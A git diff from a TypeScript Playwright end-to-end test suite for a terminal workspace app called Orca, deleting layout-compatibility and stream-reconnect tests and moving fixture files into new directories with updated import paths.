page.locator(PANE).evaluateAll((panes) => panes.map((pane) => pane.dataset.leafId ?? '')) -} - -async function focusPane(page: Page, leafId: string): Promise { - await page.locator(`${PANE}[data-leaf-id="${leafId}"] .xterm`).click() -} - -test.describe('layout compat: released desktop and CLI on the current server', () => { - test.skip(packagedExecutableMissing, `${PACKAGED_EXECUTABLE_ENV} must point at a released Orca`) - - test('old-desktop-on-new-server: split, close pane, server restart', async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(300_000) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const created = await host.client.call<{ terminal: RuntimeTerminalCreate }>( - 'terminal.create', - { - worktree: `path:${testRepoPath}`, - title: 'host-made' - } - ) - const worktreeId = created.result.terminal.worktreeId - const worktree = `id:${worktreeId}` - const client = await launchPackagedPairedClient({ - executablePath: packagedExecutable!, - offer: host.offer, - testInfo, - name: 'released desktop' - }) - try { - const labels = new IdLabels() - const steps: unknown[] = [] - const record = async (step: string): Promise => { - const observed = await readSettled(async () => ({ - server: sessionTabsBaseline(await readSessionTabs(host.client, worktree), labels), - serverTerminals: await readTerminals(host.client, worktree, labels), - published: publishedLayoutBaseline( - await readPublishedLayout(host.offer.pairingUrl, worktreeId), - labels - ), - // A count: a tab's label follows its focused pane's shell title, which differs per machine. - oldDesktopTabs: await client.page.locator(TAB).count(), - oldDesktopPanes: (await drawnLeaves(client.page)).map((id) => labels.label('leaf', id)) - })) - steps.push({ step, ...observed }) - } - - await client.page - .locator(`[data-worktree-id="${worktreeId}"] [data-worktree-card-surface]`) - .click() - await expect(client.page.locator(PANE)).toHaveCount(1, { timeout: 60_000 }) - // The released desktop opens a tab of its own in the server workspace; it draws that tab. - await record('old desktop opens the server workspace') - - const [firstLeaf] = await drawnLeaves(client.page) - await focusPane(client.page, firstLeaf!) - await client.page.keyboard.press(SPLIT_RIGHT) - await expect(client.page.locator(PANE)).toHaveCount(2, { timeout: 30_000 }) - await record('old desktop splits right') - - const secondLeaf = (await drawnLeaves(client.page)).find((leaf) => leaf !== firstLeaf)! - await focusPane(client.page, secondLeaf) - await client.page.keyboard.press(`${MOD}+w`) - const confirm = client.page.getByRole('button', { name: 'Stop and Close' }) - await expect - .poll(async () => { - if (await confirm.isVisible().catch(() => false)) { - await confirm.click() - } - return client.page.locator(PANE).count() - }) - .toBe(1) - await record('old desktop closes the new pane') - - await host.restartServeProcess() - await expectReconnectedPaneEcho({ - page: client.page, - environmentId: client.environmentId, - leafId: firstLeaf!, - host: host.client, - worktree, - // The packaged client draws with the DOM renderer (packaged-old-orca.ts), so rows are text. - readDrawn: () => - client.page.locator(`${PANE}[data-leaf-id="${firstLeaf}"] .xterm-rows`).textContent() - }) - await expect(client.page.locator(PANE)).toHaveCount(1) - await record('after server restart') - - await expectLayoutCompatBaseline(testInfo, 'old-desktop-on-new-server', { - oldDesktopVersion: client.version, - steps - }) - } finally { - await client.dispose() - } - } finally { - await host.dispose() - } - }) - - test('old-cli-terminal-create: the released CLI creates a terminal on the current server', async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(180_000) - const host = await launchHeadlessPairedRuntimeHost() - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const run = await runPackagedOrcaCli(packagedExecutable!, host.userDataDir, [ - 'terminal', - 'create', - '--worktree', - `path:${testRepoPath}`, - '--title', - 'old-cli', - '--json' - ]) - const result = run.json?.result - const terminal: object = - result && - typeof result === 'object' && - 'terminal' in result && - result.terminal && - typeof result.terminal === 'object' - ? result.terminal - : {} - const labels = new IdLabels() - const listed = await readSessionTabs(host.client, `path:${testRepoPath}`) - await expectLayoutCompatBaseline(testInfo, 'old-cli-terminal-create', { - exitCode: run.code, - ok: run.json?.ok ?? null, - error: run.json?.error?.code ?? null, - // Which fields the old CLI got back, and whether it can name the PTY and process. - resultFields: Object.keys(terminal).sort(), - ptyId: labels.pty( - 'ptyId' in terminal && typeof terminal.ptyId === 'string' ? terminal.ptyId : null - ), - server: sessionTabsBaseline(listed, labels) - }) - } finally { - await host.dispose() - } - }) -}) diff --git a/tests/e2e/layout-compat-old-phone-on-new-server.spec.ts b/tests/e2e/layout-compat-old-phone-on-new-server.spec.ts deleted file mode 100644 index 4a799b26667..00000000000 --- a/tests/e2e/layout-compat-old-phone-on-new-server.spec.ts +++ /dev/null @@ -1,245 +0,0 @@ -// P3 baseline: emulate mobile-android-v0.0.52 capabilities and request shapes against current serve, not a released app. -// Record terminal/file operations, pin handling and selection across restart against main’s shapes. -import { existsSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { pairMobileClient, type PairedMobileClient } from './helpers/paired-mobile-client' -import { - expectLayoutCompatBaseline, - IdLabels, - readSessionTabs, - readSettled, - readUntil, - sessionTabsBaseline -} from './helpers/layout-compat-baseline' -import type { RuntimeCapability } from '../../src/shared/remote-runtime/protocol/protocol-version' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { RuntimeWorktreePsSummary } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' - -/** What mobile-android-v0.0.52 advertises (its mobile-runtime-client-capabilities.ts). */ -const OLD_PHONE_CAPABILITIES: readonly RuntimeCapability[] = [ - 'agent-session.background-task-stop.v1', - 'agent-session.background-task-row-stop.v1', - 'agent-session.turn-item.v1', - 'session-tabs.close-intent.v1', - 'session-tabs.authoritative-inventory.v1', - 'agent-session.session-boundary.v1', - 'skills.install-result.v2', - 'worktree.github-pr-suppression.v1', - 'worktree.visibility-defaults.v1', - 'worktree.visibility-source-defaults.v1', - 'automation.owner-fencing.v1', - 'agent-session.structured.v1', - 'agent-session.pending-send-result.v1', - 'agent-session.structured.hold.v1', - 'agent-session.structured.claude.v1', - 'session-tabs.split-group-placement.v1', - 'agent.launch.v2' -] - -// A layout-owner build's main opens the file itself, so the open succeeds and its tab is listed. -const LAYOUT_OWNER_BUILD = existsSync( - path.join(process.cwd(), 'out', 'main', 'ORCA_LAYOUT_OWNER_MAIN') -) - -// Set until the restarted host hears from its paired hosts, or a deadline passes: timing, not shape. -const TRANSIENT_FIELDS = new Set(['clientHostedPagesUnreconciled']) - -function fieldsOf(value: unknown): string[] { - return value && typeof value === 'object' - ? Object.keys(value) - .filter((key) => !TRANSIENT_FIELDS.has(key)) - .sort() - : [] -} - -/** A reply as the baseline keeps it: success and the result's fields, or the refusal code. */ -async function reply(phone: PairedMobileClient, method: string, params: unknown) { - const response = await phone.request(method, params) - if (!response.ok) { - // runtime_error is generic; its message names the actual refusal. - return response.error.code === 'runtime_error' - ? { ok: false, error: response.error.code, message: response.error.message } - : { ok: false, error: response.error.code } - } - return { ok: true, fields: fieldsOf(response.result) } -} - -async function phoneTerminals(phone: PairedMobileClient, worktree: string) { - return (await phone.call('terminal.list', { worktree })).terminals -} - -/** The first snapshot of the phone's own tab stream: what the session strip is built from. */ -async function firstSnapshot( - phone: PairedMobileClient, - worktree: string -): Promise { - let snapshot: RuntimeMobileSessionTabsResult | null = null - const subscription = await phone.subscribe<{ type: string } & RuntimeMobileSessionTabsResult>( - 'session.tabs.subscribe', - { worktree }, - { - onResponse: (response) => { - if (response.ok && response.result.type === 'snapshot' && !snapshot) { - snapshot = response.result - } - }, - onError: () => {} - }, - 30_000 - ) - try { - await expect.poll(() => snapshot !== null, { timeout: 30_000 }).toBe(true) - return snapshot! - } finally { - subscription.close() - } -} - -test('old-phone-on-new-server: create, activate, rename, focus, close, open a file, reconnect', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const host = await launchHeadlessPairedRuntimeHost({ - pairingScope: 'mobile', - pinnedServePort: true - }) - const phone = pairMobileClient(host.offer, OLD_PHONE_CAPABILITIES) - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const { worktrees } = await phone.call<{ worktrees: RuntimeWorktreePsSummary[] }>( - 'worktree.ps', - { limit: 1_000 } - ) - const worktreeId = worktrees.find((row) => row.path === testRepoPath)?.worktreeId ?? '' - expect(worktreeId, 'the phone lists the server workspace').not.toBe('') - const worktree = `id:${worktreeId}` - - const labels = new IdLabels() - const steps: unknown[] = [] - const record = async (step: string, sent?: unknown): Promise => { - const observed = await readSettled(async () => ({ - phone: sessionTabsBaseline( - await phone.call('session.tabs.list', { worktree }), - labels - ), - server: sessionTabsBaseline(await readSessionTabs(host.client, worktree), labels) - })) - steps.push({ step, ...(sent ? { reply: sent } : {}), ...observed }) - } - const create = (n: number) => - phone.call<{ tab: { id: string; parentTabId: string } }>('session.tabs.createTerminal', { - worktree, - clientMutationId: `old-phone-create-${n}`, - activate: false, - select: true, - navigation: 'caller' - }) - - const first = (await create(1)).tab - const second = (await create(2)).tab - // Name tabs in creation order, so the recorded shape reads tab1, tab2. - labels.label('tab', first.parentTabId) - labels.label('tab', second.parentTabId) - await record('phone creates two terminals') - - const activated = await reply(phone, 'session.tabs.activate', { - worktree, - tabId: first.id, - notifyClients: false, - navigation: 'caller', - intent: 'user' - }) - await record('phone activates the first', activated) - - const handleOf = async (tabId: string) => - (await phoneTerminals(phone, worktree)).find((terminal) => terminal.tabId === tabId) - ?.handle ?? '' - const renamed = await reply(phone, 'terminal.rename', { - terminal: await handleOf(first.parentTabId), - title: 'phone-renamed' - }) - await record('phone renames the first', renamed) - - const focused = await reply(phone, 'terminal.focus', { - terminal: await handleOf(second.parentTabId), - navigation: 'host' - }) - await record('phone focuses the second', focused) - - // A desktop pins the second tab; the old phone has no pin control and closes it anyway. - await host.client.call('session.tabs.setTabProps', { - worktree, - tabId: second.parentTabId, - isPinned: true - }) - await record('host pins the second') - const closedPinned = await reply(phone, 'session.tabs.close', { - worktree, - tabId: second.id, - reason: 'user' - }) - await record('phone closes the pinned tab', closedPinned) - - // Windowless main opens a Markdown row; rebuilt session rows name tab2 Terminal 2. Layout-owner builds list it immediately. - const opened = await reply(phone, 'files.open', { worktree, relativePath: 'README.md' }) - if (LAYOUT_OWNER_BUILD) { - const listed = await phone.call('session.tabs.list', { - worktree - }) - expect( - listed.tabs.some((tab) => 'filePath' in tab && tab.filePath.endsWith('README.md')), - 'the phone lists the file it just opened' - ).toBe(true) - } - await record('phone opens a file', opened) - - const selectedBefore = sessionTabsBaseline(await firstSnapshot(phone, worktree), labels) - const tabsOf = (terminals: { tabId: string }[]) => - JSON.stringify(terminals.map((terminal) => terminal.tabId).sort()) - const tabsBefore = tabsOf(await phoneTerminals(phone, worktree)) - await host.restartServeProcess() - const selectedAfter = sessionTabsBaseline(await firstSnapshot(phone, worktree), labels) - // Linux: the server lists every terminal again shortly after it answers. macOS (no baseline): - // in this harness the list stayed empty for the 60 s measured, with the tabs still listed. - const listedAfter = await readUntil( - () => phoneTerminals(phone, worktree), - (terminals) => tabsOf(terminals) === tabsBefore - ) - steps.push({ - step: 'phone reconnects after a server restart', - snapshotBefore: selectedBefore, - snapshotAfter: selectedAfter, - terminalsAfter: listedAfter - .map((terminal) => ({ - tab: labels.label('tab', terminal.tabId), - pty: labels.pty(terminal.ptyId) - })) - .sort((a, b) => String(a.tab).localeCompare(String(b.tab))) - }) - - const snapshot = await firstSnapshot(phone, worktree) - const firstHandle = await handleOf(first.parentTabId) - const closedLast = firstHandle - ? await reply(phone, 'terminal.close', { terminal: firstHandle }) - : { ok: false, error: 'no terminal.list row for the tab' } - await record('phone closes the first terminal', closedLast) - - const scenario = LAYOUT_OWNER_BUILD - ? 'old-phone-on-new-server.layout-owner' - : 'old-phone-on-new-server' - await expectLayoutCompatBaseline(testInfo, scenario, { - steps, - // The payload the old phone parses: its snapshot and terminal-row fields. - snapshotFields: fieldsOf(snapshot), - terminalRowFields: [ - ...new Set(snapshot.tabs.flatMap((tab) => (tab.type === 'terminal' ? fieldsOf(tab) : []))) - ].sort() - }) - } finally { - phone.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts b/tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts deleted file mode 100644 index 94d770a8957..00000000000 --- a/tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts +++ /dev/null @@ -1,152 +0,0 @@ -// P3/#23429 (fixed by #26022): retain desktop/CLI daemon @@ PTYs beside a serve-minted PTY across serve restart. -// Compare host inventory/layout and the reconnected desktop against the baseline. -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { - expectLayoutCompatBaseline, - IdLabels, - publishedLayoutBaseline, - readPublishedLayout, - readSessionTabs, - readSettled, - readTerminals, - sessionTabsBaseline -} from './helpers/layout-compat-baseline' -import type { RuntimeTerminalCreate } from '../../src/shared/terminal/runtime/runtime-terminal-create-contract' - -const PANE = '.pane[data-leaf-id]:visible' -const TAB = '[data-testid="sortable-tab"]' -// tab1 is the desktop's, tab2 the CLI's, tab3 serve's; the published orders seen after a restart. -const RESTART_ORDERS = [ - ['tab1', 'tab2', 'tab3'], - ['tab1', 'tab3', 'tab2'] -] - -/** An untitled row is named by its list position ("Terminal 2"); kept, but position-free. */ -function positionalTitle(title: string, index: number): string { - if (!/^Terminal \d+$/.test(title)) { - return title - } - expect(title).toBe(`Terminal ${index + 1}`) - return 'Terminal ' -} - -test('serve-restart-keeps-@@-terminals: desktop, CLI and serve terminals survive a serve restart', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const desktop = await launchPairedElectronClient(host.offer, testInfo, 'serve restart') - try { - const page = desktop.page - let worktreeId = '' - await expect - .poll( - async () => - (worktreeId = await page.evaluate( - (repo) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === repo)?.id ?? '', - testRepoPath - )), - { timeout: 60_000 } - ) - .not.toBe('') - const worktree = `id:${worktreeId}` - // Opening an empty server workspace makes the desktop create its first terminal there. - await page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - await expect(page.locator(PANE)).toHaveCount(1, { timeout: 60_000 }) - const cli = await host.client.call<{ terminal: RuntimeTerminalCreate }>('terminal.create', { - worktree, - title: 'cli-created' - }) - // The CLI's tab is placed after its reply; wait for it so the tab order is fixed. - await expect - .poll(async () => (await readSessionTabs(host.client, worktree)).tabs.length) - .toBe(2) - const served = await host.client.call<{ tab: { parentTabId: string } }>( - 'session.tabs.createTerminal', - { worktree, activate: false, select: false, navigation: 'caller' } - ) - - const labels = new IdLabels() - const read = async () => ({ - server: sessionTabsBaseline(await readSessionTabs(host.client, worktree), labels), - terminals: await readTerminals(host.client, worktree, labels), - published: publishedLayoutBaseline( - await readPublishedLayout(host.offer.pairingUrl, worktreeId), - labels - ), - desktopTabs: await page.locator(TAB).count(), - desktopPanes: await page.locator(PANE).count() - }) - await expect - .poll(async () => (await readSessionTabs(host.client, worktree)).tabs.length) - .toBe(3) - const before = await readSettled(read) - - await host.restartServeProcess() - await expect(page.locator(TAB)).not.toHaveCount(0, { timeout: 60_000 }) - // The restarted server lists its terminals a moment after it answers; this scenario is that they come back. - await expect - .poll(async () => (await readTerminals(host.client, worktree, labels)).length, { - timeout: 60_000 - }) - .toBe(before.terminals.length) - const settled = await readSettled(read) - // Main changes order on restart: accept identical tabs in any list order and either observed published order. - // Canonicalize only those observed variations; other changes must fail. - expect(settled.server.groups).toHaveLength(1) - const canonicalSelection = before.server.groups[0]!.active - expect(settled.server.groups[0]!.tabs.toSorted()).toEqual(RESTART_ORDERS[0]) - // Selection follows the first listed tab; group selection may also retain the desktop’s tab. - const firstListed = settled.server.groups[0]!.tabs[0] - expect(settled.server.activeTab).toBe(firstListed) - expect([canonicalSelection, firstListed]).toContain(settled.server.groups[0]!.active) - const published = settled.published?.groups - expect(published).toHaveLength(1) - expect( - RESTART_ORDERS.some((order) => JSON.stringify(order) === JSON.stringify(published?.[0])), - `published order after the restart: ${JSON.stringify(published)}` - ).toBe(true) - expect(settled.published?.tabs.map((tab) => tab.tab)).toEqual(published?.[0]) - const canonical = RESTART_ORDERS[0]! - const byCanonical = (a: { tab: string | null }, b: { tab: string | null }) => - canonical.indexOf(a.tab ?? '') - canonical.indexOf(b.tab ?? '') - const after = { - ...settled, - server: { - ...settled.server, - activeTab: '', - groups: [{ active: '', tabs: canonical }], - rows: settled.server.rows - .map((row, index) => ({ ...row, title: positionalTitle(row.title, index) })) - .toSorted(byCanonical) - }, - published: settled.published && { - ...settled.published, - groups: [canonical], - tabs: settled.published.tabs.toSorted(byCanonical) - } - } - - await expectLayoutCompatBaseline(testInfo, 'serve-restart-keeps-@@-terminals', { - created: { - cli: labels.pty(cli.result.terminal.ptyId), - serve: labels.label('tab', served.result.tab.parentTabId) - }, - before, - after - }) - } finally { - await desktop.dispose() - } - } finally { - await host.dispose() - } -}) diff --git a/tests/e2e/layout-stream-loss-reopen.spec.ts b/tests/e2e/layout-stream-loss-reopen.spec.ts deleted file mode 100644 index 33d90ac4204..00000000000 --- a/tests/e2e/layout-stream-loss-reopen.spec.ts +++ /dev/null @@ -1,267 +0,0 @@ -// Layout-owner stream loss/reopen must retain every tab/pane exactly once, catch up main/window changes and persist them across relaunch. - -import { existsSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, switchToWorktree, waitForSessionReady } from './helpers/store' -import { splitActiveTerminalPane, waitForActiveTerminalManager } from './helpers/terminal' -import { leafIdsInOrder } from './helpers/workspace-layout-oracle-model' -import { readMainLayout, type TerminalLayout } from './helpers/main-terminal-layout' - -const LAYOUT_OWNER_BUILD = existsSync( - path.join(process.cwd(), 'out', 'main', 'ORCA_LAYOUT_OWNER_MAIN') -) - -type Launched = Awaited['launch']>> - -/** What the window draws for the workspace's terminal tabs. */ -async function readWindowLayout(page: Page, worktreeId: string): Promise { - const drawn = await page.evaluate((id) => { - const state = window.__store!.getState() - const terminalIds = new Set((state.tabsByWorktree[id] ?? []).map((tab) => tab.id)) - // Every drawn row, so a duplicate row under one id still counts twice. - const rows = (state.tabsByWorktree[id] ?? []).map((tab) => tab.id) - const tabBar = (state.unifiedTabsByWorktree[id] ?? []) - .filter((entry) => entry.contentType === 'terminal' && terminalIds.has(entry.entityId)) - .map((entry) => entry.entityId) - const roots = Object.fromEntries( - rows.map((tabId) => [tabId, state.terminalLayoutsByTabId[tabId]?.root ?? null]) - ) - return { rows, tabBar, roots } - }, worktreeId) - if (drawn.rows.length !== drawn.tabBar.length) { - // A row without its tab-bar entry, or the reverse: surfaces as a mismatch, not a pass. - return [ - ['rows', drawn.rows], - ['tabBar', drawn.tabBar] - ] - } - return drawn.tabBar.map((tabId) => [tabId, leafIdsInOrder(drawn.roots[tabId])]) -} - -/** Tab ids in tab-bar order and each tab's pane count: what a lost or doubled tab or pane changes. */ -type Summary = { tabs: string[]; panes: number[] } - -function summarize(layout: TerminalLayout): Summary { - return { tabs: layout.map(([tabId]) => tabId), panes: layout.map(([, panes]) => panes.length) } -} - -/** Polls until the window and main both show `want` three reads in a row: a late duplicate fails. */ -async function expectSettled(page: Page, worktreeId: string, want: Summary): Promise { - let streak = 0 - await expect - .poll( - async () => { - const [windowLayout, mainLayout] = await Promise.all([ - readWindowLayout(page, worktreeId), - readMainLayout(page, worktreeId) - ]) - const shown = { window: summarize(windowLayout), main: summarize(mainLayout) } - const match = - JSON.stringify(windowLayout) === JSON.stringify(mainLayout) && - JSON.stringify(shown.window) === JSON.stringify(want) - streak = match ? streak + 1 : 0 - return streak >= 3 ? want : { ...shown, windowLayout, mainLayout } - }, - { timeout: 30_000, intervals: [500] } - ) - .toEqual(want) -} - -/** The tab and handle of a terminal main started itself, as the CLI's create does. */ -function readCreatedTerminal(reply: unknown): { tabId: string; handle: string } { - const result = reply && typeof reply === 'object' && 'result' in reply ? reply.result : null - const terminal = - result && typeof result === 'object' && 'terminal' in result ? result.terminal : null - const tabId = - terminal && typeof terminal === 'object' && 'tabId' in terminal ? terminal.tabId : null - const handle = - terminal && typeof terminal === 'object' && 'handle' in terminal ? terminal.handle : null - if (typeof tabId !== 'string' || typeof handle !== 'string') { - throw new Error(`terminal.create gave no tab: ${JSON.stringify(reply).slice(0, 300)}`) - } - return { tabId, handle } -} - -/** A split main makes itself, as the CLI's split does. */ -async function splitMainTerminal(page: Page, handle: string): Promise { - const reply = await page.evaluate( - (terminal) => - window.api.runtime.call({ - method: 'terminal.split', - params: { terminal, direction: 'vertical' } - }), - handle - ) - if (!reply.ok) { - throw new Error(`terminal.split failed: ${JSON.stringify(reply).slice(0, 300)}`) - } -} - -function watchStreamStops(page: Page): string[] { - const stops: string[] = [] - page.on('console', (message) => { - if (message.text().includes('[layout-owner] layout stream stopped')) { - stops.push(message.text()) - } - }) - return stops -} - -function watchRefusals(page: Page, refusals: string[]): void { - page.on('console', (message) => { - if (/\[layout-owner\].*(refused|failed)/.test(message.text())) { - refusals.push(message.text()) - } - }) -} - -async function openWorkspace(first: Launched, repoPath: string): Promise { - await waitForSessionReady(first.page) - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await ensureTerminalVisible(first.page) - await waitForActiveTerminalManager(first.page, 30_000) - await expect - .poll(() => first.page.evaluate(() => typeof window.__endLocalLayoutStreamE2E), { - timeout: 15_000, - message: 'no layout stream, or a build without --mode e2e (the end hook is e2e-mode only)' - }) - .toBe('function') - return worktreeId -} - -// While the stream is down, create window and main terminals; after reopen, split main’s terminal. -async function loseStreamAndChange( - page: Page, - worktreeId: string, - stops: string[] -): Promise<{ firstTab: string; duringLoss: string; mainTab: string }> { - const firstTab = await page.evaluate( - (id) => window.__store!.getState().tabsByWorktree[id]?.[0]?.id ?? '', - worktreeId - ) - await expectSettled(page, worktreeId, { tabs: [firstTab], panes: [1] }) - const gap = await page.evaluate(async (id) => { - const end = window.__endLocalLayoutStreamE2E! - await end() - const state = window.__store!.getState() - const tab = state.createTab(id) - state.setActiveTab(tab.id) - const startedAt = performance.now() - const created = await window.api.runtime.call({ - method: 'terminal.create', - params: { worktree: `id:${id}`, focus: false, activate: false, presentation: 'background' } - }) - // A reopened stream's snapshot re-arms the hook with a new function. - return { - tabId: tab.id, - created, - createMs: Math.round(performance.now() - startedAt), - beforeReopen: window.__endLocalLayoutStreamE2E === end - } - }, worktreeId) - await expect.poll(() => stops.length, { message: 'the stream never stopped' }).toBe(1) - expect( - gap.beforeReopen, - `main's terminal must start before the 1 s reopen (its create took ${gap.createMs} ms)` - ).toBe(true) - const mainTerminal = readCreatedTerminal(gap.created) - await expectSettled(page, worktreeId, { - tabs: [firstTab, gap.tabId, mainTerminal.tabId], - panes: [1, 1, 1] - }) - await splitMainTerminal(page, mainTerminal.handle) - await expectSettled(page, worktreeId, { - tabs: [firstTab, gap.tabId, mainTerminal.tabId], - panes: [1, 1, 2] - }) - return { firstTab, duringLoss: gap.tabId, mainTab: mainTerminal.tabId } -} - -test.describe('the window layout stream ends mid-session', () => { - test.skip(!LAYOUT_OWNER_BUILD, 'layout-owner build only: other builds open no layout stream') - - test('reopens with no tab or pane lost or doubled, and later changes apply', async ({ - testRepoPath - }, testInfo) => { - const session = createRestartSession(testInfo) - const refusals: string[] = [] - let app: Launched['app'] | undefined - try { - const first = await session.launch() - app = first.app - const stops = watchStreamStops(first.page) - watchRefusals(first.page, refusals) - const worktreeId = await openWorkspace(first, testRepoPath) - const { firstTab, duringLoss, mainTab } = await loseStreamAndChange( - first.page, - worktreeId, - stops - ) - - await first.page.evaluate((tabId) => window.__store!.getState().closeTab(tabId), duringLoss) - const afterReopen = await first.page.evaluate((id) => { - const state = window.__store!.getState() - const tab = state.createTab(id) - state.setActiveTab(tab.id) - return tab.id - }, worktreeId) - await waitForActiveTerminalManager(first.page, 30_000) - await splitActiveTerminalPane(first.page, 'vertical') - await expectSettled(first.page, worktreeId, { - tabs: [firstTab, mainTab, afterReopen], - panes: [1, 2, 2] - }) - expect(stops).toHaveLength(1) - expect(refusals).toEqual([]) - } finally { - await session.dispose(app) - } - }) - - test('a change made after the stream ended survives a relaunch', async ({ - testRepoPath - }, testInfo) => { - const session = createRestartSession(testInfo) - const refusals: string[] = [] - let app: Launched['app'] | undefined - try { - const first = await session.launch() - app = first.app - const stops = watchStreamStops(first.page) - watchRefusals(first.page, refusals) - const worktreeId = await openWorkspace(first, testRepoPath) - const { firstTab, duringLoss, mainTab } = await loseStreamAndChange( - first.page, - worktreeId, - stops - ) - - await first.page.evaluate((tabId) => window.__store!.getState().closeTab(tabId), firstTab) - await first.page.evaluate( - (tabId) => window.__store!.getState().setActiveTab(tabId), - duringLoss - ) - await waitForActiveTerminalManager(first.page, 30_000) - await splitActiveTerminalPane(first.page, 'vertical') - const beforeQuit = { tabs: [duringLoss, mainTab], panes: [2, 2] } - await expectSettled(first.page, worktreeId, beforeQuit) - // Long enough for the window's debounced save to land. - await first.page.waitForTimeout(2_000) - await session.close(app) - app = undefined - - const second = await session.launch() - app = second.app - watchRefusals(second.page, refusals) - await waitForSessionReady(second.page) - await switchToWorktree(second.page, worktreeId) - await expectSettled(second.page, worktreeId, beforeQuit) - expect(refusals).toEqual([]) - } finally { - await session.dispose(app) - } - }) -}) diff --git a/tests/e2e/accumulated-workspace-fixture.ts b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-fixture.ts similarity index 99% rename from tests/e2e/accumulated-workspace-fixture.ts rename to tests/e2e/layout/accumulated-workspaces/accumulated-workspace-fixture.ts index 1716e581fec..38e9824c97b 100644 --- a/tests/e2e/accumulated-workspace-fixture.ts +++ b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-fixture.ts @@ -5,8 +5,6 @@ import { } from './accumulated-workspace-profile' import { buildAccumulatedWorkspaceSeed } from './accumulated-workspace-state-builder' -export type { AccumulatedWorkspaceFixtureOptions } - export type AccumulatedWorkspaceFixtureSummary = { repositories: number worktrees: number diff --git a/tests/e2e/accumulated-workspace-order-fixture.ts b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-order-fixture.ts similarity index 100% rename from tests/e2e/accumulated-workspace-order-fixture.ts rename to tests/e2e/layout/accumulated-workspaces/accumulated-workspace-order-fixture.ts diff --git a/tests/e2e/accumulated-workspace-profile.ts b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-profile.ts similarity index 100% rename from tests/e2e/accumulated-workspace-profile.ts rename to tests/e2e/layout/accumulated-workspaces/accumulated-workspace-profile.ts diff --git a/tests/e2e/accumulated-workspace-state-builder.ts b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-state-builder.ts similarity index 94% rename from tests/e2e/accumulated-workspace-state-builder.ts rename to tests/e2e/layout/accumulated-workspaces/accumulated-workspace-state-builder.ts index 80a7c4bcd8f..0063128ce53 100644 --- a/tests/e2e/accumulated-workspace-state-builder.ts +++ b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-state-builder.ts @@ -1,18 +1,18 @@ import path from 'node:path' -import type { SleepingAgentSessionRecord } from '../../src/shared/agent-session/lifecycle/agent-session-resume' -import type { Repo } from '../../src/shared/repository/repo-types' +import type { SleepingAgentSessionRecord } from '../../../../src/shared/agent-session/lifecycle/agent-session-resume' +import type { Repo } from '../../../../src/shared/repository/repo-types' import type { TerminalLayoutSnapshot, TerminalPaneLayoutNode, TerminalTab -} from '../../src/shared/workspace-layout/terminal-tab-types' +} from '../../../../src/shared/workspace-layout/terminal-tab-types' import type { Tab, TabGroup, TabGroupLayoutNode -} from '../../src/shared/workspace-layout/tab-groups/tab-types' -import type { WorktreeLineage } from '../../src/shared/worktree/lineage-types' -import type { Worktree } from '../../src/shared/worktree/types' +} from '../../../../src/shared/workspace-layout/tab-groups/tab-types' +import type { WorktreeLineage } from '../../../../src/shared/worktree/lineage-types' +import type { Worktree } from '../../../../src/shared/worktree/types' import type { NormalizedAccumulatedWorkspaceFixtureOptions } from './accumulated-workspace-profile' export type SyntheticLiveStatus = { diff --git a/tests/e2e/accumulated-workspace-status-fixture.ts b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-status-fixture.ts similarity index 100% rename from tests/e2e/accumulated-workspace-status-fixture.ts rename to tests/e2e/layout/accumulated-workspaces/accumulated-workspace-status-fixture.ts diff --git a/tests/e2e/accumulated-workspace-title-fixture.ts b/tests/e2e/layout/accumulated-workspaces/accumulated-workspace-title-fixture.ts similarity index 100% rename from tests/e2e/accumulated-workspace-title-fixture.ts rename to tests/e2e/layout/accumulated-workspaces/accumulated-workspace-title-fixture.ts diff --git a/tests/e2e/helpers/host-split-and-sleep-journeys.ts b/tests/e2e/layout/publication/host-split-and-sleep-journeys.ts similarity index 85% rename from tests/e2e/helpers/host-split-and-sleep-journeys.ts rename to tests/e2e/layout/publication/host-split-and-sleep-journeys.ts index 9508eab49d2..e91be81551e 100644 --- a/tests/e2e/helpers/host-split-and-sleep-journeys.ts +++ b/tests/e2e/layout/publication/host-split-and-sleep-journeys.ts @@ -3,15 +3,26 @@ import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import { RuntimeClient } from '../../../src/cli/runtime/client' -import type { RuntimeTerminalListResult } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { RuntimeWorktreeCreateResult } 